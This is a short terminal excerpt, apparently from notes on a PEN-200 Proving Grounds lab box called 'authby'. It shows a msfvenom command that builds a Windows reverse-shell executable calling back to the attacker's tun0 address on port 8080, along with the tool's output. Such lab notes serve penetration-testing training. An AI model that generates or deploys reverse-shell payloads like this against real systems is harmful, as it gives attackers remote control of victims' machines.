msfvenom
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/authby]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=$tun0 LPORT=8080 -f exe -o pe.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: pe.exe
msfvenom generated a reverse shell executable